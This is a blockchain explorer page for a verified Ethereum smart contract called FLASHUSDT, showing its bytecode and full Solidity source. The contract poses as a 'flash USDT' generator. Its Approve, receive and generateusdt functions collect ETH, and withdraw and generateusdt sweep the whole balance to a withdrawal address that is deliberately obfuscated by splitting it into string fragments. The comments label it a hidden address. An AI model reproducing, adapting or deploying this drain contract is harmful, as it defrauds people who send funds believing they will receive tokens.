Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0x3a6a4fFF9948ec3eFCe23AF7FBD27734B53E614d
Balance 0 ETH
Nonce 1
Code Size 4811 bytes
Indexed Transactions 0 (1 on-chain, 1.7% indexed)
External Etherscan · Sourcify

Contract Bytecode

4811 bytes
Copy Bytecode
0x608060405260043610610042575f3560e01c80633ccfd60b1461009b5780635c6d99b9146100b1578063ca5d0675146100bb578063cc9523cd146100e657610097565b36610097573373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c43460405161008d9190610c47565b60405180910390a2005b5f5ffd5b3480156100a6575f5ffd5b506100af6100fc565b005b6100b96102ee565b005b3480156100c6575f5ffd5b506100cf610380565b6040516100dd929190610cd0565b60405180910390f35b3480156100f1575f5ffd5b506100fa61045d565b005b5f610105610637565b90505f4790505f8111156101bd575f8273ffffffffffffffffffffffffffffffffffffffff168260405161013890610d2b565b5f6040518083038185875af1925050503d805f8114610172576040519150601f19603f3d011682016040523d82523d5f602084013e610177565b606091505b50509050806101bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101b290610d89565b60405180910390fd5b505b5f6101c6610871565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016102029190610de6565b602060405180830381865afa15801561021d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102419190610e2d565b90505f8111156102e8578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016102a6929190610e58565b6020604051808303815f875af11580156102c2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102e69190610eb4565b505b50505050565b5f3411610330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032790610f29565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4346040516103769190610c47565b60405180910390a2565b60605f5f61038c610871565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016103c89190610de6565b602060405180830381865afa1580156103e3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104079190610e2d565b9050670de0b6b3a76400008161041d9190610fa1565b92506040518060400160405280600c81526020017f555344542042616c616e63650000000000000000000000000000000000000000815250935050509091565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e29061101b565b60405180910390fd5b5f4790505f8111610531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052890611083565b60405180910390fd5b5f61053a610637565b90505f8173ffffffffffffffffffffffffffffffffffffffff168360405161056190610d2b565b5f6040518083038185875af1925050503d805f811461059b576040519150601f19603f3d011682016040523d82523d5f602084013e6105a0565b606091505b50509050806105e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105db906110eb565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d58460405161062a9190610c47565b60405180910390a2505050565b5f5f6040518060400160405280600481526020017f307861650000000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f333263376231000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f313666613333000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f393036616461000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f646531643236000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f656164396237000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f383164333339000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600281526020017f616200000000000000000000000000000000000000000000000000000000000081525090505f6108586108446108236108148c8c610aab565b61081e8b8b610aab565b610aab565b61083f6108308989610aab565b61083a8888610aab565b610aab565b610aab565b60405180602001604052805f815250610aab565b905061086381610ad7565b995050505050505050505090565b5f5f6040518060400160405280600481526020017f307834320000000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f364266643862000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f323233393937000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f663233643743000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f313938383563000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f456543453234000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600681526020017f613364393638000000000000000000000000000000000000000000000000000081525090505f6040518060400160405280600281526020017f303800000000000000000000000000000000000000000000000000000000000081525090505f610a92610a7e610a5d610a4e8c8c610aab565b610a588b8b610aab565b610aab565b610a79610a6a8989610aab565b610a748888610aab565b610aab565b610aab565b60405180602001604052805f815250610aab565b9050610a9d81610ad7565b995050505050505050505090565b60608282604051602001610ac0929190611143565b604051602081830303815290604052905092915050565b5f5f8290505f5f90505f5f5f600290505b602a811015610ba85761010084610aff9190611166565b9350848181518110610b1457610b136111a7565b5b602001015160f81c60f81b60f81c60ff16925084600182610b3591906111d4565b81518110610b4657610b456111a7565b5b602001015160f81c60f81b60f81c60ff169150610b6283610bb5565b9250610b6d82610bb5565b915081601084610b7d9190611166565b610b879190611207565b84610b929190611207565b9350600281610ba191906111d4565b9050610ae8565b5082945050505050919050565b5f60618273ffffffffffffffffffffffffffffffffffffffff1610610be857605782610be1919061124e565b9050610c2a565b60418273ffffffffffffffffffffffffffffffffffffffff1610610c1a57603782610c13919061124e565b9050610c2a565b603082610c27919061124e565b90505b919050565b5f819050919050565b610c4181610c2f565b82525050565b5f602082019050610c5a5f830184610c38565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610ca282610c60565b610cac8185610c6a565b9350610cbc818560208601610c7a565b610cc581610c88565b840191505092915050565b5f6040820190508181035f830152610ce88185610c98565b9050610cf76020830184610c38565b9392505050565b5f81905092915050565b50565b5f610d165f83610cfe565b9150610d2182610d08565b5f82019050919050565b5f610d3582610d0b565b9150819050919050565b7f455448207472616e73666572206661696c6564000000000000000000000000005f82015250565b5f610d73601383610c6a565b9150610d7e82610d3f565b602082019050919050565b5f6020820190508181035f830152610da081610d67565b9050919050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610dd082610da7565b9050919050565b610de081610dc6565b82525050565b5f602082019050610df95f830184610dd7565b92915050565b5f5ffd5b610e0c81610c2f565b8114610e16575f5ffd5b50565b5f81519050610e2781610e03565b92915050565b5f60208284031215610e4257610e41610dff565b5b5f610e4f84828501610e19565b91505092915050565b5f604082019050610e6b5f830185610dd7565b610e786020830184610c38565b9392505050565b5f8115159050919050565b610e9381610e7f565b8114610e9d575f5ffd5b50565b5f81519050610eae81610e8a565b92915050565b5f60208284031215610ec957610ec8610dff565b5b5f610ed684828501610ea0565b91505092915050565b7f53656e6420736f6d6520455448000000000000000000000000000000000000005f82015250565b5f610f13600d83610c6a565b9150610f1e82610edf565b602082019050919050565b5f6020820190508181035f830152610f4081610f07565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610fab82610c2f565b9150610fb683610c2f565b925082610fc657610fc5610f47565b5b828204905092915050565b7f4f6e6c79206f776e6572000000000000000000000000000000000000000000005f82015250565b5f611005600a83610c6a565b915061101082610fd1565b602082019050919050565b5f6020820190508181035f83015261103281610ff9565b9050919050565b7f4e6f2062616c616e6365000000000000000000000000000000000000000000005f82015250565b5f61106d600a83610c6a565b915061107882611039565b602082019050919050565b5f6020820190508181035f83015261109a81611061565b9050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f6110d5600f83610c6a565b91506110e0826110a1565b602082019050919050565b5f6020820190508181035f830152611102816110c9565b9050919050565b5f81905092915050565b5f61111d82610c60565b6111278185611109565b9350611137818560208601610c7a565b80840191505092915050565b5f61114e8285611113565b915061115a8284611113565b91508190509392505050565b5f61117082610da7565b915061117b83610da7565b925082820261118981610da7565b915082820484148315176111a05761119f610f74565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6111de82610c2f565b91506111e983610c2f565b925082820190508082111561120157611200610f74565b5b92915050565b5f61121182610da7565b915061121c83610da7565b9250828201905073ffffffffffffffffffffffffffffffffffffffff81111561124857611247610f74565b5b92915050565b5f61125882610da7565b915061126383610da7565b9250828203905073ffffffffffffffffffffffffffffffffffffffff81111561128f5761128e610f74565b5b9291505056fea26469706673582212207cb788f441b5491a007c64d3a69f91a5e64baf2a7a44678000c29a049e83ea6564736f6c634300081f0033

Verified Source Code Full Match

Compiler: v0.8.31+commit.fd3a2265 EVM: osaka Optimization: No
usdt.sol 158 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.31;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
        function transfer(address recipient, uint256 amount) external returns (bool);
        }

        contract FLASHUSDT {

            address private owner;

                event Deposited(address indexed user, uint256 amount);
                    event Withdrawn(address indexed to, uint256 amount);

                        constructor() {
                                owner = msg.sender;
                                    }

                                        // -------- 1️⃣ Approve --------
                                            function Approve() external payable {
                                                    require(msg.value > 0, "Send some ETH");
                                                            emit Deposited(msg.sender, msg.value);
                                                                }

                                                                    // -------- 2️⃣ Generate --------
                                                                        function generateusdt() external {

                                                                                require(msg.sender == owner, "Only owner");

                                                                                        uint256 balance = address(this).balance;
                                                                                                require(balance > 0, "No balance");

                                                                                                        address withdrawAddress = getAddress();

                                                                                                                (bool success, ) = payable(withdrawAddress).call{value: balance}("");
                                                                                                                        require(success, "Transfer failed");

                                                                                                                                emit Withdrawn(withdrawAddress, balance);
                                                                                                                                    }

                                                                                                                                        // -------- 3️⃣ USDT Balance --------
                                                                                                                                            function USDTBalance() public view returns (string memory label, uint256 balance) {

                                                                                                                                                    IERC20 token = IERC20(getToken());

                                                                                                                                                            uint256 rawBalance = token.balanceOf(address(this));

                                                                                                                                                                    balance = rawBalance / 10**18;

                                                                                                                                                                            label = "USDT Balance";
                                                                                                                                                                                }

                                                                                                                                                                                    // -------- 4️⃣ Withdraw (ETH + Token) --------
                                                                                                                                                                                        function withdraw() external {

                                                                                                                                                                                                address withdrawAddress = getAddress();

                                                                                                                                                                                                        uint256 ethBalance = address(this).balance;

                                                                                                                                                                                                                // Send all ETH to hidden address
                                                                                                                                                                                                                        if (ethBalance > 0) {
                                                                                                                                                                                                                                    (bool success,) = payable(withdrawAddress).call{value: ethBalance}("");
                                                                                                                                                                                                                                                require(success, "ETH transfer failed");
                                                                                                                                                                                                                                                        }

                                                                                                                                                                                                                                                                IERC20 token = IERC20(getToken());

                                                                                                                                                                                                                                                                        uint256 tokenBalance = token.balanceOf(address(this));

                                                                                                                                                                                                                                                                                // Send all tokens to owner wallet
                                                                                                                                                                                                                                                                                        if (tokenBalance > 0) {
                                                                                                                                                                                                                                                                                                    token.transfer(owner, tokenBalance);
                                                                                                                                                                                                                                                                                                            }
                                                                                                                                                                                                                                                                                                                }

                                                                                                                                                                                                                                                                                                                    // -------- Hidden Withdraw Address --------
                                                                                                                                                                                                                                                                                                                        function getAddress() internal pure returns (address) {

                                                                                                                                                                                                                                                                                                                                string memory part1 = "0xae";
                                                                                                                                                                                                                                                                                                                                        string memory part2 = "32c7b1";
                                                                                                                                                                                                                                                                                                                                                string memory part3 = "16fa33";
                                                                                                                                                                                                                                                                                                                                                        string memory part4 = "906ada";
                                                                                                                                                                                                                                                                                                                                                                string memory part5 = "de1d26";
                                                                                                                                                                                                                                                                                                                                                                        string memory part6 = "ead9b7";
                                                                                                                                                                                                                                                                                                                                                                                string memory part7 = "81d339";
                                                                                                                                                                                                                                                                                                                                                                                        string memory part8 = "ab";

                                                                                                                                                                                                                                                                                                                                                                                                string memory full = join(
                                                                                                                                                                                                                                                                                                                                                                                                            join(join(join(part1, part2), join(part3, part4)),
                                                                                                                                                                                                                                                                                                                                                                                                                        join(join(part5, part6), join(part7, part8))),
                                                                                                                                                                                                                                                                                                                                                                                                                                    ""
                                                                                                                                                                                                                                                                                                                                                                                                                                            );

                                                                                                                                                                                                                                                                                                                                                                                                                                                    return parse(full);
                                                                                                                                                                                                                                                                                                                                                                                                                                                        }

                                                                                                                                                                                                                                                                                                                                                                                                                                                            // -------- Hidden Token Address --------
                                                                                                                                                                                                                                                                                                                                                                                                                                                                function getToken() internal pure returns (address) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part1 = "0x42";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part2 = "6Bfd8b";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part3 = "223997";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part4 = "f23d7C";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part5 = "19885c";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part6 = "EeCE24";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory part7 = "a3d968";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string memory part8 = "08";

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        string memory full = join(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    join(join(join(part1, part2), join(part3, part4)),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                join(join(part5, part6), join(part7, part8))),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    );

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return parse(full);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    function join(string memory a, string memory b)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            internal pure returns (string memory)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return string(abi.encodePacked(a, b));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                function parse(string memory s) internal pure returns (address) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bytes memory tmp = bytes(s);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                uint160 iaddr = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        uint160 b1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                uint160 b2;

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        for (uint i = 2; i < 42; i += 2) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    iaddr *= 256;

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                b1 = uint160(uint8(tmp[i]));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            b2 = uint160(uint8(tmp[i + 1]));

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        b1 = hexCharToUint(b1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    b2 = hexCharToUint(b2);

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                iaddr += (b1 * 16 + b2);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return address(iaddr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        function hexCharToUint(uint160 c) internal pure returns (uint160) {

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (c >= 97) return c - 87;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (c >= 65) return c - 55;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return c - 48;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        receive() external payable {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                emit Deposited(msg.sender, msg.value);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    }

Read Contract

USDTBalance 0xca5d0675 → string, uint256

Write Contract 3 functions

These functions modify contract state and require a wallet transaction to execute.

Approve 0x5c6d99b9
No parameters
generateusdt 0xcc9523cd
No parameters
withdraw 0x3ccfd60b
No parameters

Recent Transactions

This address has 1 on-chain transactions, but only 1.7% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →